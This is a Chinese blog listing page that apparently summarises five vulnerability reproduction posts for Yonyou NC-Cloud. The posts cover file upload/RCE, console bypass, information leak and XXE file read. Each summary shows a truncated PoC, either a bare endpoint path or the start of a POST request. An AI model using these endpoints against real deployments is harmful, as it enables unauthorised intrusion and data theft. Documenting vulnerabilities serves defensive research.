2024年6月26日
用友-NC-Cloud存在任意文件上传/RCE
摘要： 漏洞复现： 首先上传jsp POC： POST /uapjs/jsinvoke/?action=invoke HTTP/1.1 Host: IP User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, l 阅读全文
posted @ 2024-06-26 16:45 都吃泡芙 阅读(288) 评论(0) 推荐(0)
用友-NC-Cloud存在控制台绕过漏洞
摘要： 漏洞复现： POC： /uapws/index.jsp 阅读全文
posted @ 2024-06-26 16:30 都吃泡芙 阅读(154) 评论(0) 推荐(0)
用友-NC-Cloud存在接口信息泄露漏洞
摘要： 漏洞复现： POC： /uapws/service 阅读全文
posted @ 2024-06-26 16:28 都吃泡芙 阅读(115) 评论(0) 推荐(0)
用友-NC-Cloud存在XXE漏洞
摘要： 漏洞复现： POC： /uapws/service/nc.uap.oba.update.IUpdateService?wsdl 阅读全文
posted @ 2024-06-26 16:26 都吃泡芙 阅读(236) 评论(0) 推荐(0)
用友-NC-Cloud存在soapFormat-XXE 导致任意文件读取漏洞
摘要： 漏洞复现： POC: POST /uapws/soapFormat.ajax HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 阅读全文
posted @ 2024-06-26 16:21 都吃泡芙 阅读(208) 评论(0) 推荐(0)
//雪花飘落效果 //雪花飘落效果